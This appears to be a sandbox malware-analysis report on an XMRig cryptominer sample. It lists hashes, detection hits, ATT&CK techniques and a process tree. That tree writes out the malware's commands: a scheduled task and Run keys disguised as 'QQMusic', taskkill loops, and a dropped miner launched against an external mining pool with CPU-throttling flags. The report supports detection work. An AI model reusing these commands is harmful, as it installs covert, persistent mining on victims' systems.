xmrig | 1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14/06/2024, 11:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Size

9.0MB
MD5

6b4f06f6c6c73a1d56c5a66be8306541
SHA1

2af7e6175abe6f102520b61a92e03990c80cc2f4
SHA256

1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8
SHA512

fda4c6bde698c62c66f6e8023f1cdd84b7fca99c19f8c02882045d19ba983e7a9a0223f6ffbebbe2d8ffb363b02f437f550413cb16bdff110d4da3e09e0b0ed2
SSDEEP

196608:rhHMBGC3PtXtT+Was8+wq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G0vwuwasMdJOnZKVSaaNZOn

Score

10^/10

xmrig miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 18 IoCs

miner

resource	yara_rule
behavioral1/memory/676-132-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/676-138-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/972-141-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/2980-149-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/4800-153-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/2976-156-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/5908-160-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/6092-164-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/4344-168-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/5836-174-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/5880-177-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/6124-181-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/6080-196-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/6080-198-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/6068-202-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/4408-205-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/4408-207-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig
behavioral1/memory/6076-210-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	xmrig

Executes dropped EXE 19 IoCs

pid	Process
676	sBnopqr.exe
3956	SMB.exe
972	sBnopqr.exe
2980	sBnopqr.exe
1528	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4800	sBnopqr.exe
2976	sBnopqr.exe
5908	sBnopqr.exe
6092	sBnopqr.exe
4344	sBnopqr.exe
6012	sBnopqr.exe
5836	sBnopqr.exe
5880	sBnopqr.exe
6124	sBnopqr.exe
6080	sBnopqr.exe
6068	sBnopqr.exe
4408	sBnopqr.exe
6076	sBnopqr.exe
412	sBnopqr.exe

UPX packed file 21 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002343a-7.dat	upx
behavioral1/memory/676-8-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/676-132-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/676-138-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/972-141-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/2980-149-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/4800-153-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/2976-156-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/5908-160-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/6092-164-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/4344-168-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/6012-170-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/5836-174-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/5880-177-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/6124-181-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/6080-196-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/6080-198-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/6068-202-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/4408-205-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/4408-207-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx
behavioral1/memory/6076-210-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe"	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe"	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
File opened (read-only)	\??\VBoxMiniRdrDN	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3452	schtasks.exe

Gathers network information 2 TTPs 6 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5856	ipconfig.exe
5040	ipconfig.exe
6092	ipconfig.exe
6096	ipconfig.exe
3184	ipconfig.exe
2772	ipconfig.exe

Kills process with taskkill 9 IoCs

evasion

pid	Process
676	taskkill.exe
6092	taskkill.exe
1152	taskkill.exe
4996	taskkill.exe
5976	taskkill.exe
1728	taskkill.exe
6068	taskkill.exe
2784	taskkill.exe
1640	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeBackupPrivilege	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeSecurityPrivilege	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeSecurityPrivilege	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeBackupPrivilege	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeSecurityPrivilege	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeBackupPrivilege	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeSecurityPrivilege	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeBackupPrivilege	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeSecurityPrivilege	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeDebugPrivilege	1152	taskkill.exe
Token: SeLockMemoryPrivilege	676	sBnopqr.exe
Token: SeLockMemoryPrivilege	676	sBnopqr.exe
Token: SeDebugPrivilege	4996	taskkill.exe
Token: SeLockMemoryPrivilege	972	sBnopqr.exe
Token: SeLockMemoryPrivilege	972	sBnopqr.exe
Token: SeLockMemoryPrivilege	2980	sBnopqr.exe
Token: SeLockMemoryPrivilege	2980	sBnopqr.exe
Token: SeDebugPrivilege	676	taskkill.exe
Token: SeLockMemoryPrivilege	4800	sBnopqr.exe
Token: SeLockMemoryPrivilege	4800	sBnopqr.exe
Token: SeLockMemoryPrivilege	2976	sBnopqr.exe
Token: SeLockMemoryPrivilege	2976	sBnopqr.exe
Token: SeDebugPrivilege	5976	taskkill.exe
Token: SeLockMemoryPrivilege	5908	sBnopqr.exe
Token: SeLockMemoryPrivilege	5908	sBnopqr.exe
Token: SeLockMemoryPrivilege	6092	sBnopqr.exe
Token: SeLockMemoryPrivilege	6092	sBnopqr.exe
Token: SeLockMemoryPrivilege	4344	sBnopqr.exe
Token: SeLockMemoryPrivilege	4344	sBnopqr.exe
Token: SeDebugPrivilege	1728	taskkill.exe
Token: SeDebugPrivilege	6092	taskkill.exe
Token: SeLockMemoryPrivilege	5836	sBnopqr.exe
Token: SeLockMemoryPrivilege	5880	sBnopqr.exe
Token: SeLockMemoryPrivilege	5880	sBnopqr.exe
Token: SeDebugPrivilege	6068	taskkill.exe
Token: SeLockMemoryPrivilege	6124	sBnopqr.exe
Token: SeLockMemoryPrivilege	6080	sBnopqr.exe
Token: SeLockMemoryPrivilege	6080	sBnopqr.exe
Token: SeDebugPrivilege	2784	taskkill.exe
Token: SeLockMemoryPrivilege	6068	sBnopqr.exe
Token: SeLockMemoryPrivilege	4408	sBnopqr.exe
Token: SeLockMemoryPrivilege	4408	sBnopqr.exe
Token: SeDebugPrivilege	1640	taskkill.exe
Token: SeLockMemoryPrivilege	6076	sBnopqr.exe
Token: SeLockMemoryPrivilege	6076	sBnopqr.exe
Token: SeLockMemoryPrivilege	412	sBnopqr.exe
Token: SeLockMemoryPrivilege	412	sBnopqr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4320 wrote to memory of 3684	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	92
PID 4320 wrote to memory of 3684	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	92
PID 4320 wrote to memory of 3684	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	92
PID 4320 wrote to memory of 2008	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	94
PID 4320 wrote to memory of 2008	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	94
PID 4320 wrote to memory of 2008	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	94
PID 3684 wrote to memory of 3452	3684	cmd.exe	96
PID 3684 wrote to memory of 3452	3684	cmd.exe	96
PID 3684 wrote to memory of 3452	3684	cmd.exe	96
PID 2008 wrote to memory of 1152	2008	cmd.exe	97
PID 2008 wrote to memory of 1152	2008	cmd.exe	97
PID 2008 wrote to memory of 1152	2008	cmd.exe	97
PID 4320 wrote to memory of 2300	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	98
PID 4320 wrote to memory of 2300	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	98
PID 4320 wrote to memory of 2300	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	98
PID 2300 wrote to memory of 3184	2300	cmd.exe	100
PID 2300 wrote to memory of 3184	2300	cmd.exe	100
PID 2300 wrote to memory of 3184	2300	cmd.exe	100
PID 4320 wrote to memory of 676	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	101
PID 4320 wrote to memory of 676	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	101
PID 4320 wrote to memory of 3956	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	103
PID 4320 wrote to memory of 3956	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	103
PID 4320 wrote to memory of 3956	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	103
PID 4320 wrote to memory of 2124	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	104
PID 4320 wrote to memory of 2124	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	104
PID 4320 wrote to memory of 2124	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	104
PID 4320 wrote to memory of 972	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	106
PID 4320 wrote to memory of 972	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	106
PID 2124 wrote to memory of 4996	2124	cmd.exe	108
PID 2124 wrote to memory of 4996	2124	cmd.exe	108
PID 2124 wrote to memory of 4996	2124	cmd.exe	108
PID 4320 wrote to memory of 2980	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	109
PID 4320 wrote to memory of 2980	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	109
PID 4320 wrote to memory of 628	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	112
PID 4320 wrote to memory of 628	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	112
PID 4320 wrote to memory of 628	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	112
PID 628 wrote to memory of 2772	628	cmd.exe	114
PID 628 wrote to memory of 2772	628	cmd.exe	114
PID 628 wrote to memory of 2772	628	cmd.exe	114
PID 4320 wrote to memory of 1308	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	115
PID 4320 wrote to memory of 1308	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	115
PID 4320 wrote to memory of 1308	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	115
PID 4320 wrote to memory of 4800	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	117
PID 4320 wrote to memory of 4800	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	117
PID 1308 wrote to memory of 676	1308	cmd.exe	119
PID 1308 wrote to memory of 676	1308	cmd.exe	119
PID 1308 wrote to memory of 676	1308	cmd.exe	119
PID 4320 wrote to memory of 2976	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	120
PID 4320 wrote to memory of 2976	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	120
PID 4320 wrote to memory of 5804	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	122
PID 4320 wrote to memory of 5804	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	122
PID 4320 wrote to memory of 5804	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	122
PID 5804 wrote to memory of 5856	5804	cmd.exe	124
PID 5804 wrote to memory of 5856	5804	cmd.exe	124
PID 5804 wrote to memory of 5856	5804	cmd.exe	124
PID 4320 wrote to memory of 5884	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	125
PID 4320 wrote to memory of 5884	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	125
PID 4320 wrote to memory of 5884	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	125
PID 4320 wrote to memory of 5908	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	127
PID 4320 wrote to memory of 5908	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	127
PID 5884 wrote to memory of 5976	5884	cmd.exe	129
PID 5884 wrote to memory of 5976	5884	cmd.exe	129
PID 5884 wrote to memory of 5976	5884	cmd.exe	129
PID 4320 wrote to memory of 6092	4320	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	130

C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
"C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Checks for VirtualBox DLLs, possible anti-VM trick
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe /F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe /F
    3⤵
    - Creates scheduled task(s)
    PID:3452
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1152
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:3184
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:676
- C:\ProgramData\SMB.exe
  C:\ProgramData\SMB.exe
  2⤵
  - Executes dropped EXE
  PID:3956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4996
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:972
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:2772
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:676
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4800
- C:\ProgramData\sBnopqr.exe
